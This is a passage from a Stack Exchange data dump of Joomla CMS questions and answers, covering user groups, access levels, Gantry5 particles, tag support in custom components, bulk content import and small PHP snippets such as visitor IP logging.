base64_encode(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid, $this-&amp;gt;item-&amp;gt;language)));&#xA;    endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one generates the link for the read-more button (if the button is enabled). It also takes into consideration if the content is restricted.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So, now you have all the needed elements to do what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wrap your intro-text with an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element and use the article link for the &lt;code&gt;href&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*If you don't have restricted content, then just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid, $this-&amp;gt;item-&amp;gt;language));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-09-12T14:38:14.593" LastActivityDate="2018-09-12T14:38:14.593" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23428" PostTypeId="1" AcceptedAnswerId="23434" CreationDate="2018-09-10T17:36:56.837" Score="4" ViewCount="75" Body="&lt;p&gt;How can I see and edit the Group Parent setting for an existing User Group?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user group is created, you set the Group Title and Group Parent. Going to the Edit Group page lets me change the title but there is nothing relating to the Group Parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.8.12 &lt;/p&gt;&#xA;" OwnerUserId="12539" LastActivityDate="2018-09-11T00:10:19.563" Title="How to change parent group?" Tags="|user-groups|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23430" PostTypeId="2" ParentId="23400" CreationDate="2018-09-10T23:00:09.587" Score="2" Body="&lt;p&gt;Personally, I would make the first one. Then download the database file from PHPMyAdmin as a CSV file. If you want you can only export the relevant tables for ease. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would use Excel or Google Sheets to open it.  Then I would find the relevant tables for the article and menus. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'd copy and paste them and make them this way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, drop the original tables and reupload the relevant ones. Usually I make sure the fields are intact before importing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that's the quickest way and you don't need to know SQL. &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-09-10T23:00:09.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23431" PostTypeId="2" ParentId="16920" CreationDate="2018-09-10T23:18:38.783" Score="4" Body="&lt;p&gt;There are a few parts to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The group and the viewing access level. A person is part of a group. E.g Administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A group is assigned a viewing access level. A group can have multiple viewing access levels. A viewing access level can have the same name as a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has a viewing access level they can view that particular content, component, module etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further complicate things there is viewing access and edit access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could set a module to be editable only by Administrators but viewable by Registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is true for categories, articles, components, and plugins (usually there is edit access only for plugins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example a teacher may wish to be able to view teachers articles and students articles. So you may have two viewing access levels: student and teacher. And two groups, student and teacher. But the teacher group may have access to both student and teacher viewing access levels. But you may wish for teachers to be able to view but not edit students articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for students they should view students articles but not view or edit teachers articles. This is entirely possible with Joomla! out of the box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much more detailed information can be found here: &lt;a href=&quot;https://docs.joomla.org/J2.5:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J2.5:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it is Joomla! 2.5.x it is still applicable for Joomla! 3.x &lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-12-18T16:23:19.157" LastActivityDate="2018-12-18T16:23:19.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23432" PostTypeId="2" ParentId="17473" CreationDate="2018-09-10T23:36:44.077" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the JS is inline then perhaps you can override the model to take it into a separate file which may solve your issue with JCH.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the sprite generator makes your site slightly larger that's no issue. Because it reduces the amount of requests so your site should load more quickly - but check!  It has to use a PNG as it needs to be transparent. But PNG is a larger files than JPG. Hence the increased file size. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-09-10T23:36:44.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23433" PostTypeId="2" ParentId="23428" CreationDate="2018-09-10T23:39:32.060" Score="-1" Body="&lt;p&gt;You should be able to do this in the database. User_group_map is the table I think. Use PHPMyAdmin to find the information and edit it. &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-09-10T23:39:32.060" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23434" PostTypeId="2" ParentId="23428" CreationDate="2018-09-11T00:10:19.563" Score="5" Body="&lt;p&gt;Provided that you have admin access then you can follow the steps below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the site admin area and go to the Users menu&lt;br&gt;&#xA;Select the Groups menu item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jBJVK.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jBJVK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User group select group menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the group you want to move to a different parent and click on it to open it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2Prgg.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Prgg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hPfca.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPfca.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the group title if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the parent by selecting the down arrow drop down next to the existing group parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8mwhx.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mwhx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save and close and review new parent location&lt;/p&gt;&#xA;" OwnerUserId="12876" LastActivityDate="2018-09-11T00:10:19.563" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23435" PostTypeId="2" ParentId="23400" CreationDate="2018-09-11T06:39:16.173" Score="3" Body="&lt;p&gt;Check the JED for any suitable Mass Content extensions which can help with uploading bulk articles and menu options: &lt;a href=&quot;https://extensions.joomla.org/tags/mass-content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/mass-content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have used &lt;a href=&quot;https://extensions.joomla.org/extension/oscontent&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSContent&lt;/a&gt; previously which can create articles and menu options 10 at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other extensions where you can enter your content into a spreadsheet and then import it into Joomla.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-09-11T06:39:16.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23436" PostTypeId="1" CreationDate="2018-09-11T08:45:13.267" Score="1" ViewCount="25" Body="&lt;p&gt;The list of categories in Module Manager Arcticles Cateogries is generating wrong links. It's like the News section doesn't have subcategories. The Title is displayed, but all have the same main category link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have routing set on Experimental. When i set routing on Stable the links are working. Problem i have is that, when routing is set on Stable, search results generate wrong links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the link generated wrong im Joomla 3.8? How can I resolve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bHOl5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHOl5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fIZ3G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIZ3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zk4FZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zk4FZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2018-09-11T08:45:13.267" Title="J3.8 Module Manager Articles Category generating wrong links" Tags="|joomla-3.x|joomla3.8|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23437" PostTypeId="2" ParentId="22821" CreationDate="2018-09-11T09:49:51.890" Score="2" Body="&lt;p&gt;[Prompted by @mickmackusa, I'll add an answer here although it's a while back and I haven't needed to look at this recently. Edit if you can improve!]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was constructing the URL using the &lt;code&gt;site/category/article&lt;/code&gt; pattern.  This works when logged in but when accessing anonymously it produced the behaviour described in the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you create a menu item (I used the Single Article type) for the article, set the Access to Public, and access it as &lt;code&gt;site/alias&lt;/code&gt; then the permissioning works as expected.&lt;/p&gt;&#xA;" OwnerUserId="12539" LastActivityDate="2018-09-11T09:49:51.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23438" PostTypeId="2" ParentId="23408" CreationDate="2018-09-11T12:15:20.390" Score="3" Body="&lt;p&gt;Assuming you have a database table setup for this, you can use the following code to perform you check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This function is taken from my own extension&#xA;public function getIpAddress()&#xA;{&#xA;    $server   = $this-&amp;gt;app-&amp;gt;input-&amp;gt;server;&#xA;    $clientIp = $server-&amp;gt;get('HTTP_CLIENT_IP');&#xA;    $httpFwd  = $server-&amp;gt;get('HTTP_X_FORWARDED_FOR');&#xA;&#xA;    if (!empty($clientIp))&#xA;    {&#xA;        $ip = $clientIp;&#xA;    }&#xA;    elseif (!empty($httpForwarded))&#xA;    {&#xA;        $ip = $httpForwarded;&#xA;    }&#xA;    else&#xA;    {&#xA;        $ip = $server-&amp;gt;get('REMOTE_ADDR');&#xA;    }&#xA;&#xA;    // If we don't have a valid IP address just return null&#xA;    if (filter_var($ip, FILTER_VALIDATE_IP) === false)&#xA;    {&#xA;        return null;&#xA;    }&#xA;&#xA;    return filter_var($ip, FILTER_VALIDATE_IP);&#xA;}&#xA;&#xA;// Get the users' IP&#xA;$userIP = getIpAddress();&#xA;&#xA;// Check to see if the IP already exists in the database&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('ip'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__mytable'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('ip') . ' = ' . $db-&amp;gt;q($userIP));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;// Check if the result is not empty&#xA;if (!empty($result))&#xA;{&#xA;    // We have a match, the users' IP already exists in the database&#xA;    // You can perform some action here&#xA;}&#xA;else&#xA;{&#xA;    // The IP doesn't exists in the database, let's add it&#xA;    $object = new stdClass();&#xA;    $object-&amp;gt;ip = $userIP;&#xA;&#xA;    $result = JFactory::getDbo()-&amp;gt;insertObject('#__mytable', $object);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added a few comments in the code to show you what's happening, however note that I haven't tested it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will of course need to made some minor modifications to the code, such as changing the database table name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; You will need to notify all users that you're storing their IP address for GDPR purposes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-09-11T17:19:28.120" LastActivityDate="2018-09-11T17:19:28.120" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23439" PostTypeId="1" AcceptedAnswerId="23441" CreationDate="2018-09-11T14:13:15.397" Score="1" ViewCount="165" Body="&lt;p&gt;I am trying to customize my Gantry5 Header and Menu. I searching for the menu particle but I can't find in my template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where is the core menu particle located?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some extra info about what I am trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have three sections:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;A Logo section&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;A Main Menu section&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;A Sub Menu section&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Logo&lt;/strong&gt; section should be a fixed size and in a fixed position to the top left of the page.&#xA;The &lt;strong&gt;Main Menu&lt;/strong&gt; section and the &lt;strong&gt;Sub Menu&lt;/strong&gt; section must be on top of each other vertically. The block they occupy must then fill the rest of the space between the Logo section and the right side of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three sections together should be fixed at the top and be visible at all times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attempted to locate the particle or the atom that generates the &quot;Menu&quot; particle in the framework but I could not find it and edit it.&lt;/p&gt;&#xA;" OwnerUserId="12877" LastEditorUserId="126" LastEditDate="2018-09-12T08:50:35.710" LastActivityDate="2018-09-12T08:55:38.570" Title="Gantry5 framework - Where are the core particles located?" Tags="|menu|layout|gantry|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23440" PostTypeId="1" AcceptedAnswerId="23442" CreationDate="2018-09-12T07:31:13.957" Score="1" ViewCount="136" Body="&lt;p&gt;Flowing on from &lt;a href=&quot;https://joomla.stackexchange.com/q/23391/12352&quot;&gt;my previous question about writing my first component&lt;/a&gt; (now called &lt;strong&gt;com_picture&lt;/strong&gt;) which is nearly an exact clone of the &lt;strong&gt;com_contact&lt;/strong&gt; directory, I have hit a snag with trying to save a new &quot;picture&quot; with a tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I save a picture without a value in the tags field, everything is sweet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/31m0v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/31m0v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, when I try to save a picture &lt;strong&gt;with&lt;/strong&gt; a value in the tags field (I mean the cute little blue bubble with the tag value is generated in the tags field in the lower right of the window), I receive a vague/useless bootstrap error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Save failed with the following error:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tKZEA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKZEA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make changes to the Name, Alias, Category, Language, etc. -- all of those changes are preserved after I click save.  It is ONLY the tags field that is failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set my Global Configuration - Server - Error Reporting to: &quot;Development&quot; and read through all of the queries, but there are no INSERT queries (which I expected to see when adding a new tag) and the 2 UPDATE queries are not relating to the tag table. Basically, there are no clues in the 37 queries logged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone, for some uncanny reasons, actually knows what I've done wrong please share.  &lt;strong&gt;Otherwise, I'm merely asking how I can generate some informative error messages/clues as to what I've done wrong.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bit more background, I've cloned the com_contact directory then done a case-sensitive replacement on all occurrences of &lt;code&gt;contact&lt;/code&gt;, &lt;code&gt;Contact&lt;/code&gt;, and &lt;code&gt;CONTACT&lt;/code&gt; with &lt;code&gt;picture&lt;/code&gt;, &lt;code&gt;Picture&lt;/code&gt;, and &lt;code&gt;PICTURE&lt;/code&gt; -- this was the simplest way forward for this prototype because it seamlessly handled singular/plural versions of the keyword for filenames, classes, functions, variables, etc.  I also copied and adjusted all rows in all tables (I believe) which refer to com_contact so that com_picture is represented and all ids are pointing to the correct rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in case it helps to dismiss some suspicions, I am able to generate a full error message when I try to save a duplicate picture in the same category:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Save failed with the following error: Another Picture from this category has the same alias (remember it may be a trashed item).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I am thinking that this eliminates the possibility that I've overlooked a language .ini file. (maybe / maybe not)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Joomla 3.8.12  I am happy to implement any wild guesses so that I can move forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already updated the &lt;code&gt;#__content_types&lt;/code&gt; table by copying the Contact row and making &lt;code&gt;contact&lt;/code&gt; -&gt; &lt;code&gt;picture&lt;/code&gt; replacements.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(15, 'Picture Category', 'com_picture.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', 'PictureHelperRoute::getCategoryRoute', '{&quot;formFile&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;, &quot;hideFields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;], &quot;ignoreChanges&quot;:[&quot;modified_user_id&quot;, &quot;modified_time&quot;, &quot;checked_out&quot;, &quot;checked_out_time&quot;, &quot;version&quot;, &quot;hits&quot;, &quot;path&quot;],&quot;convertToInt&quot;:[&quot;publish_up&quot;, &quot;publish_down&quot;], &quot;displayLookup&quot;:[{&quot;sourceColumn&quot;:&quot;created_user_id&quot;,&quot;targetTable&quot;:&quot;#__users&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;name&quot;},{&quot;sourceColumn&quot;:&quot;access&quot;,&quot;targetTable&quot;:&quot;#__viewlevels&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;title&quot;},{&quot;sourceColumn&quot;:&quot;modified_user_id&quot;,&quot;targetTable&quot;:&quot;#__users&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;name&quot;},{&quot;sourceColumn&quot;:&quot;parent_id&quot;,&quot;targetTable&quot;:&quot;#__categories&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;title&quot;}]}');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-12T23:47:00.317" LastActivityDate="2018-09-15T13:06:17.317" Title="How to debug an empty Bootstrap error generated by non-empty Tags field in a custom component?" Tags="|custom-component|tags|error-reporting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23441" PostTypeId="2" ParentId="23439" CreationDate="2018-09-12T08:55:38.570" Score="1" Body="&lt;p&gt;Core Gantry5 particles that do not have an override on the template level can be found at: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/gantry5/engines/nucleus/particles/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gantry.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Gantry5&lt;/strong&gt;&lt;/a&gt; is a powerful framework and allows a high level of customization out of the box, without coding experience. Still it has some learning curve, in order to familiarize with its admin area, its terminology etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely you don't need to edit directly any particles, but if you need it, this is absolutely possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For arranging your layout you need to work with &lt;a href=&quot;http://docs.gantry.org/gantry5/configure/layout-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Manager&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For fixed navigation follow this tutorial: &lt;a href=&quot;http://docs.gantry.org/gantry5/theme-development/theme-customization&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Theme Customization&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-12T08:55:38.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23442" PostTypeId="2" ParentId="23440" CreationDate="2018-09-12T09:00:11.343" Score="2" Body="&lt;p&gt;To support tags in your component, you must add your content type to &lt;code&gt;#__content_types&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Tags in an Extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have copied the row where:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`type_title` = 'Contact Category' AND `type_alias` = 'com_contact.category'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To create a new row for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`type_title` = 'Picture Category' AND `type_alias` = 'com_picture.category'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you haven't copied the row where:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`type_title` = 'Contact' AND `type_alias` = 'com_contact.contact'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be a new row for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`type_title` = 'Picture' AND `type_alias` = 'com_picture.picture'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12352" LastEditDate="2018-09-15T13:06:17.317" LastActivityDate="2018-09-15T13:06:17.317" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23445" PostTypeId="2" ParentId="23424" CreationDate="2018-09-12T13:27:53.300" Score="1" Body="&lt;p&gt;You can check your logs for the pages that you don't want visited, and then develop some .htaccess rules to block access to these pages (or redirect access to the pages to the homepage). The beauty of the .htaccess file is that you will have all this &quot;blocking&quot; logic in one place.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-09-12T13:27:53.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23446" PostTypeId="2" ParentId="23422" CreationDate="2018-09-12T13:30:44.757" Score="1" Body="&lt;p&gt;In you configuration.php file, change the database driver from &lt;code&gt;mysql&lt;/code&gt; to &lt;code&gt;mysqli&lt;/code&gt;. The &lt;code&gt;mysql&lt;/code&gt; database driver is now obsolete and is no longer bundled with PHP by default.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-09-12T13:30:44.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23447" PostTypeId="2" ParentId="23408" CreationDate="2018-09-12T13:35:24.977" Score="0" Body="&lt;p&gt;Personally, I wouldn't put that pressure (checking if the visitor is new or not) on the server powering the Joomla website as I've seen the havoc that a custom made analytics can wreak on a Joomla website. I would throw it on Google Analytics as described &lt;a href=&quot;https://stackoverflow.com/questions/43048191/how-can-i-tell-if-the-user-is-a-new-visitor-or-returning-analytics-js&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-09-12T13:35:24.977" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23448" PostTypeId="1" CreationDate="2018-09-12T13:43:28.703" Score="1" ViewCount="124" Body="&lt;p&gt;A very basic question probably...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what are the differences in Joomla terms between:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;module&lt;/li&gt;&#xA;&lt;li&gt;components&lt;/li&gt;&#xA;&lt;li&gt;plugins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I am a developer for Joomla what and why should I name it a module, component, plugin?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2018-09-12T18:03:57.943" Title="What are the differences of Joomla modules vs components vs plugins?" Tags="|joomla-3.x|component|module|plugin|joomla-api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
